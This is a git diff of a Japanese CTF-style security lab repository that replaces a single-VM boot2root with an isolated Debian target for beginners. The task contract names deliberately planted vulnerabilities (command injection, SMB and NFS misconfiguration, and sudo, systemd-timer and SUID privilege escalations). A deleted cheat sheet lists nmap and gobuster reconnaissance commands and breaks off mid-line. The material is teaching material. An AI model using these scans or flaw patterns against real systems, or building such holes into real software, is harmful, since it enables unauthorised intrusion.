地図が正解一覧になり、参加者が仮説を立てずにノードを消化する。 +2. 自動検出が生コマンドや秘密を集め、教材より監視システムになる。 +3. 一つの入口またはroot経路だけが実用上の正解になり、再挑戦価値が消える。 +4. root取得後の標的をそのまま再利用し、次の参加者へ状態や改変が残る。 +5. デュアルブート作業がWindows、EFI、実データを損なう。 +6. KaliのWi-Fiと有線LANがルータ化し、隔離したDebianへ外部経路を与える。 +7. ライブ接続がない通常閲覧で、故障画面または偽の進行データを表示する。 +8. 接続、事実、調査、履歴、設定を初期画面へ並べ、初心者が地図よりUIの解読に時間を使う。 + +## Observable acceptance + +- 完全初心者が段階ヒント込みで任意の一経路を30〜60分でrootまで完走できる。 +- 入口3種とroot経路3種の9組合せがfresh stateから成立する。 +- セッション未接続でも、公開ブリーフィング、世界観、必要機材、安全境界をWebだけで閲覧できる。 +- ペアリング済みセッションでは、教材イベントが2秒以内に探索地図または状況相談へ反映される。 +- ブラウザbundleと公開APIに未解放ヒント、flag正解、生コマンド、資格情報が含まれない。 +- Debian exercise modeにWi-Fi、外部DNS、default route、インターネット疎通がない。 +- Kaliがクラウド中継用Wi-Fiを使う場合も、IP forwarding、NAT、EthernetからWi-Fiへの転送が無効である。 +- Kali Bridge停止時は最後の確定状態と再接続表示を残し、復帰後に欠落なく追いつく。 +- 復旧USBからDebian、ラボ状態、Debian EFIをgolden stateへ戻し、Windowsが再起動できる。 +- Firefox ESRの1366×768、1280×720、360pxで主要フローをキーボードだけでも完了できる。 +- 初回表示では補助パネルの本文が見えず、各ラベルと件数から必要な情報を選び、一度に一枚だけ開閉できる。 diff --git a/README.md b/README.md index 242f5c5..5b4d344 100644 --- a/README.md +++ b/README.md @@ -1,38 +1,88 @@ -# Yamamoto Mfg. CTF +# ExamServer 実践ラボ -社内プチ CTF。**山本製作所(Yamamoto Manufacturing Co., Ltd.)** という架空の中小企業の、長年放置された Web サーバーを攻略します。 +許可された直結環境だけで使う、初心者向けオープンワールド型セキュリティ教材です。 -> 配布: takes-security-hacking-lab +標的はWindowsとDebian 13をデュアルブートするノートPCです。参加者はKali実機、または専用Ethernetだけを割り当てたKali VMから接続し、架空の中古バイク販売・整備チェーン「風切モータース」の業務サーバを調べます。 -## 概要 +公開ガイド: -| 項目 | 内容 | -|---|---| -| 形式 | Boot2Root (1台のVMを完全制覇) | -| 難度 | 中級初心者(semi-beginner) | -| 想定時間 | 2〜4時間(初心者) / 30〜60分(慣れてる人) | -| カテゴリ | Web exploitation, Linux 権限昇格 | -| フラグ形式 | `TSHL{...}` × 3個 | +## 体験 -## 始め方 +- 3つの入口から低権限のLinux footholdを得る +- 発見した事実をExamServerの`/lab`にある探索地図でつなぐ +- 状況に合う仮説を選び、必要時だけ段階ヒントを見る +- 3つの異なる権限昇格経路からDebian本体のrootを取る +- 別セッションでは別ルートと14個のflagを探索する -1. [Releases](https://github.com/skjshr/tgtsec/releases) から OVA をダウンロード -2. [`SETUP.md`](SETUP.md) に従ってインポート + ネットワーク設定 -3. 攻撃用VMから `nmap` でターゲット発見 → CTF開始 +標準の一経路は初心者が30〜60分で完走できる密度にします。公開Webは標的がなくても閲覧でき、演習中はKali Bridgeが許可済み教材イベントだけを送って地図、説明、次の選択をリアルタイムに更新します。生コマンド、端末出力、資格情報、flag文字列はクラウドへ送りません。 -## このリポジトリにあるもの +初期画面に出すのは現在目標、探索地図または仮説、主要操作だけです。接続、確定した事実、調査やヒント、履歴は件数付きの引き手に収納し、学習者が選んだ一種類だけをdesktopではside drawer、スマートフォンではbottom sheetで開きます。ライブ更新も勝手にパネルを開かず、目標、地図、引き手の件数だけを変えます。 -- [`README.md`](README.md) — このファイル -- [`SETUP.md`](SETUP.md) — **プレイヤー向け** VirtualBox インポート手順 -- [`PRIMER.md`](PRIMER.md) — **CTF初参加者はまずこれ**。基礎用語・心構え・ツール導入 -- [`WALKTHROUGH-BEGINNER.md`](WALKTHROUGH-BEGINNER.md) — 段階的ヒント集(完全ネタバレなし) -- [`TOOLS-CHEATSHEET.md`](TOOLS-CHEATSHEET.md) — よく使うコマンド一覧 -- [`DISTRIBUTION.md`](DISTRIBUTION.md) — **出題者向け** OVA配布手順 +## 構成 -## ルール +- `apps/lab-guide` — 探索地図と状況相談 +- `apps/lab-guide/cloud` — Vercel FunctionとUpstash Redisによるペアリングとライブ投影 +- `labs/open-world-target/world` — 架空業務環境、意図的脆弱性、flags +- `labs/open-world-target/telemetry` — 教材イベント、状態遷移、ローカルAPI +- `labs/open-world-target/bridge` — Kaliから`/api/lab`への外向き中継 +- `labs/open-world-target/platform` — Debian構築、exercise/maintenance、復旧 +- `labs/open-world-target/operator` — 準備、当日運用、実機検証 +- `docs/design` — 承認済み画面正本 -- 攻撃対象は提供されたVMのみ。ホストOSや他ネットワークは攻撃禁止 -- 詰まったら `WALKTHROUGH-BEGINNER.md` を1段階ずつ開く -- ブルートフォース系を**長時間回さない**(意図された解法では不要です) +設計判断は [`PROJECT_CONSTITUTION.md`](PROJECT_CONSTITUTION.md)、画面契約は +[`DESIGN.md`](DESIGN.md)、完了条件は [`TASK_CONTRACT.md`](TASK_CONTRACT.md) が所有します。 -楽しんで! +## ローカル確認 + +Node.js 20以上とPython 3.11以上を使います。ガイドの依存関係を一度入れれば、UI、14 flags、 +9経路、テレメトリ、Debian制御、復旧kitをまとめて検証できます。 + +```text +npm ci --prefix apps/lab-guide +npm run check +``` + +開発用ガイドは自動状態のfixture付きで起動できます。 + +```text +npm --prefix apps/lab-guide run dev -- --host 127.0.0.1 --port 4173 +``` + +ブラウザで`http://127.0.0.1:4173/?fixture=live`を開きます。`empty`、`reconnecting`、 +`unavailable`、`success`でも主要状態を再現できます。`transition`は、再読込なしで +接続確認から最初の発見へ変わる状態を再現します。標的への導入順と実機gateは +[`labs/open-world-target/operator/PREPARE-TARGET.md`](labs/open-world-target/operator/PREPARE-TARGET.md) +から始めます。 + +実機演習のガイド入口は + です。`BRIDGE_CLOUD_ORIGIN`には +`https://exam-server-one.vercel.app`を設定します。Kali Bridgeを起動し、表示された短期pairing +codeを公開ガイドへ入力します。 +攻撃対象は常にraw IP `10.13.37.10`、Bridgeが読むtelemetryは +`http://10.13.37.10:8787`です。Debianはガイドを配信せず、DNS resolverも広告しません。 + +インターネットを使わない演習だけは、Kali上でlocal-only fallback serverをloopbackへ起動し、 +`http://127.0.0.1:8080/?local=1`を開きます。fallback serverやガイド成果物をDebianへcopyしません。 +ライブ連携の責務と保存しない情報は +[`docs/LIVE_ARCHITECTURE.md`](docs/LIVE_ARCHITECTURE.md)にまとめています。 + +## 安全境界 + +- 攻撃対象は運営者が指定した標的ノートだけ +- exercise modeは直結Ethernet以外の経路を持たない +- 実在データ、実アカウント、実資格情報を標的へ置かない +- root取得後のDebianを信頼せず、外部の信頼済み復旧USBから初期化する +- Windowsは空の捨て環境とし、裏flag以外の価値あるデータを置かない +- ディスク操作は機種、disk ID、partition UUID、image hash、確認語が一致しない限り実行しない + +## 現在の検証境界 + +リポジトリ内ではUI、状態エンジン、構築資材、fail-closed制御を自動検証します。公開 +`/lab`と`/api/lab`は、`create → pair → replay拒否 → waiting → snapshot → live → SSE` +の本番smokeを公開ごとに通します。次の項目は対象ノートで証跡を残すまで未完了です。 + +- Windowsを保持したDebianデュアルブート導入 +- Kali実機とKali VMからの9経路攻略 +- exercise modeの物理NIC隔離 +- root取得後の復旧USB初期化 +- DebianとWindowsの再起動 diff --git a/SETUP.md b/SETUP.md deleted file mode 100644 index 399dbc6..0000000 --- a/SETUP.md +++ /dev/null @@ -1,93 +0,0 @@ -# SETUP — プレイヤー向けセットアップ手順 - -> このドキュメントは **VM(攻撃対象)を受け取った側** が読むためのものです。 - -## 必要なもの - -- **VirtualBox** (7.x以上推奨) — https://www.virtualbox.org/ -- **攻撃用VM** — Kali Linux または Parrot OS を別途用意 -- **ターゲットVM (OVA)** — 配布物 `yamamoto-mfg-ctf.ova`(別途共有された場所からダウンロード) -- ホストOSに **8GB以上のRAM** と **20GB以上の空き** があると快適 - -## ステップ1: ターゲットVMをインポート - -1. VirtualBox を起動 -2. メニュー **ファイル → 仮想アプライアンスのインポート** -3. ダウンロードした `yamamoto-mfg-ctf.ova` を選択 -4. 設定確認画面で **MACアドレスポリシー** を `すべてのネットワークアダプタ MAC アドレスを再生成する` にする(複数人で同時起動するとMAC衝突する場合があるので) -5. インポート実行 - -## ステップ2: ネットワーク設定 — Host-Only にする - -ターゲットVMと攻撃用VMが**お互いに通信**できる必要があります。 - -### Host-Only Network 作成 (初回のみ) - -VirtualBox → **ファイル → ツール → ネットワークマネージャー** → **作成** ボタン - -通常 `vboxnet0` (192.168.56.0/24) が作られます。DHCP有効でOK。 - -### 各VMの設定変更 - -両方のVMで: - -1. VM選択 → **設定** → **ネットワーク** → **アダプタ1** -2. 割り当てを **Host-Only Adapter** に変更 -3. 名前 `vboxnet0` を選択 -4. OK - -## ステップ3: 攻撃用VMを準備 - -Kali / Parrot を VirtualBox にインポートして、ネットワークを **同じ Host-Only Adapter** に設定。 - -## ステップ4: 起動 → ターゲットIP発見 - -1. ターゲットVM起動 (yamamoto-web01) -2. 攻撃用VMを起動 -3. 攻撃用VMのターミナルで: - -```bash -# 同一ネットワーク上のホストを発見 -sudo nmap -sn 192.168.56.0/24 -# または -arp -a | grep 192.168.56 -``` - -`192.168.56.X` のような IP が見えたら、それがターゲット。 - -## ステップ5: 攻撃開始 - -```bash -# 接続確認 -ping - -# Webサイトを開いてみる -firefox http:/// - -# CTFスタート! -``` - -[`PRIMER.md`](PRIMER.md) → [`WALKTHROUGH-BEGINNER.md`](WALKTHROUGH-BEGINNER.md) の順で読み進めてください。 - -## トラブルシュート - -### ターゲットVMがネットワーク上に見えない -- 両VMとも Host-Only Adapter で同じネットワーク (`vboxnet0`) になっているか -- ターゲットVM側で IP が割り当てられているか(コンソール画面で `ip a` で確認) -- VirtualBox のホストオンリーネットワークマネージャーで DHCP が有効か - -### "Connection refused" / Webサイトが開けない -- ターゲットVMが起動完了しているか(数十秒待つ) -- 攻撃用VMからターゲットVMにpingが通るか - -### Firefox が動かない / スピード遅い -- 攻撃用VMに割り当てるRAMを2GB以上に -- `curl` だけでも基本攻略可能 - -## 倫理ルール - -- **このVMは合法的な学習目的でのみ攻撃すること** -- **ホストネットワークや本番システムへ攻撃を波及させないこと**(Host-Only にしているのはこのため) -- 取得したフラグは**外に公開しない**(他のチームメイトの楽しみを奪うため) - -幸運を! diff --git a/TASK_CONTRACT.md b/TASK_CONTRACT.md new file mode 100644 index 0000000..d84afe9 --- /dev/null +++ b/TASK_CONTRACT.md @@ -0,0 +1,83 @@ +# Task Contract: ExamServer Open World Lab v1 + +## Goal + +常時閲覧できるExamServerの公開ラボと、Kali Bridge経由でDebianの許可済み教材イベントに追従するライブ演習を、3入口、3root経路、14 flags、信頼済み復旧と一つの再現可能な体験として実装し、補助情報はユーザーがラベル付きの引き手を操作した時だけ一枚ずつ見せる。 + +## Inputs + +- Target: UEFI/GPT、Windowsとのデュアルブート、Debian用80GB以上の未割当領域を確保できるノートPC +- Attacker: Kali実機、またはUSB Ethernetを専有し他NICを外したKali VM +- Network: target `10.13.37.10/24`、直結Ethernet、target DHCP、Debianは外部経路なし。ライブ利用時だけKaliは別NICからVercelへ外向きHTTPS接続する。 +- Audience: IT/ターミナル初心者、1チーム1〜3人 +- Session: 標準経路30〜60分、別ルート再挑戦あり +- Recovery: 演習中は外して保管する信頼済みUSBとbare-metal backup + +## Removals + +- 旧`labs/site-takeover`を現行導線、構築、設計正本から外す。 +- Live USBを通常起動方式として使わない。 +- vanilla guideの出力貼付け中心モデルを削除する。 +- Drupal、DVWA、既存OVAを新世界へ移植しない。 + +## World contract + +- Theme: 架空の中古バイク販売・整備チェーン「風切モータース」 +- Entrances: + 1. Web staff diagnostics command injection → `www-data` + 2. Anonymous SMB backup disclosure + credential reuse → `sales` + 3. Misconfigured NFS share → `mechanic` SSH foothold +- Root paths: + 1. Misconfigured `sudo` maintenance helper + 2. Group-writable root systemd timer payload + 3. Training-only SUID helper with unsafe PATH resolution +- All three footholds can reach all three root paths. +- Flags: entry 3、foothold 3、root clue 3、root route 3、common root 1、Windows 1。 + +## Telemetry contract + +- Record only allowlisted lab event kinds, node IDs, source IDs, evidence codes, and timestamps. +- Never record raw commands, raw HTTP parameters, file contents, credentials, tokens, or arbitrary terminal history. +- Services emit to a root-owned Unix socket; the event daemon validates source/event combinations. +- Debian telemetry exposes only discovered facts, unlocked hypotheses, graph projection, hint state, progress, and sanitized recent events to the direct LAN. +- Kali Bridge reads that public projection and sends monotonic snapshots to the cloud over outbound HTTPS. It never forwards a target port or arbitrary target traffic. +- The public website has a no-session browse mode. A short-lived pairing flow switches it to the paired live projection. +- SSE is the normal browser update path; state polling is the fallback. +- Manual flag submission remains local-only and is not sent through the public cloud. +- Root completion is the last trustworthy automatic event. + +## Platform contract + +- Exercise mode exposes only required lab services on wired Ethernet and gives Debian no external route. +- Public guide URL is `https://exam-server-one.vercel.app/lab`; its live API namespace is `/api/lab`. The reserved `.test` domain is not used publicly. The target is reached from Kali at `10.13.37.10` and is never the guide host. +- Kali may use Wi-Fi for the Bridge, but IPv4/IPv6 forwarding, NAT, and cross-interface forwarding must remain disabled. +- Maintenance mode keeps vulnerable services stopped before Wi-Fi or update tooling is enabled. +- Windows is offline, sacrificial, and contains only fixture data and its hidden flag. +- Disk-writing setup/recovery commands are dry-run or fail closed until exact disk identity, partition UUID, confirmation phrase, and image hash are supplied. +- Root-acquired Debian is never reset from itself. + +## Done criteria + +- New contracts and active README describe only the open-world lab. +- Guide implements browse, waiting, live, loading, reconnecting, selected, hint, success, and local-only fallback states. +- A visitor can understand the lab and view its public world without a target or session. +- A Kali Bridge can create a short-lived session, upload a sanitized projection, and make a paired browser update without reload. +- PLAY、OPS、FOCUSの3テーマはruntimeで切替・保存でき、テーマ変更で教材状態を失わない。 +- 初期画面は現在目標、世界/仮説、主要操作だけを表示し、接続、事実、調査/ヒント、履歴、見た目は名称の分かる引き手からだけ開く。 +- 補助情報は同時に一枚だけ表示し、Escape、背景操作、閉じる操作で収納でき、元の引き手へfocusが戻る。 +- Telemetry state machine and API pass unit/integration tests without leaking forbidden data. +- Static target fixtures implement all 3 entrances, 3 root paths, and 14 logical flags. +- Nine route combinations have automated contract tests and operator verification procedures. +- Platform includes deterministic install/config generation, exercise/maintenance mode controls, network isolation checks, and recovery media workflow. +- Browser verification passes Firefox-compatible desktop/narrow flows with no console errors or horizontal overflow. +- `design-qa.md` compares source and implementation at matching viewport and ends with `final result: passed`. +- Physical dual-boot, actual exploit execution, actual Windows boot, and actual recovery remain explicitly incomplete until recorded on the target notebook. + +## Surprise ledger + +- The old single-route lab is removed from active use instead of being migrated. +- Root is real Debian host root; Windows safety comes from sacrificial contents and trusted external recovery, not containment. +- The guide is hosted publicly; only sanitized state projections and connection metadata reach the cloud. +- Automatic detection is event-based and privacy-bounded, not full command monitoring. +- Live mode requires Kali internet access while Debian remains isolated. Fully offline sessions use the local telemetry API without Vercel. +- 旧三列レイアウトとモバイルでの全パネル縦積みは廃止し、desktopはside drawer、narrow画面はbottom sheetへ統一する。 diff --git a/TOOLS-CHEATSHEET.md b/TOOLS-CHEATSHEET.md deleted file mode 100644 index 82408a0..0000000 --- a/TOOLS-CHEATSHEET.md +++ /dev/null @@ -1,172 +0,0 @@ -# TOOLS CHEATSHEET — CTF用コマンド早見表 - -## ターゲット発見 - -```bash -# 同一サブネット内のホスト一覧 -sudo nmap -sn 192.168.56.0/24 -# または -arp -a - -# (VirtualBox Host-Only の典型: 192.168.56.0/24) -``` - -## ポートスキャン - -```bash -# クイック -nmap - -# 全ポート + バージョン + デフォルトスクリプト (推奨) -nmap -p- -sV -sC -oN scan.txt - -# UDPもやる場合(時間かかる) -sudo nmap -sU --top-ports 50 -``` - -## Web 列挙 - -```bash -# ディレクトリ列挙 -gobuster dir -u http:/// -w /usr/share/wordlists/dirb/common.txt -# 拡張子付き -gobuster dir -u http:/// -w /usr/share/wordlists/dirb/common.txt -x php,html,txt - -# robots.txt は最初に見る -curl http:///robots.txt - -# CMS / Webサーバー fingerprint -whatweb http:/// -curl -I http:/// - -# ソースコメント・隠しコメント -curl -s http:/// | grep -E "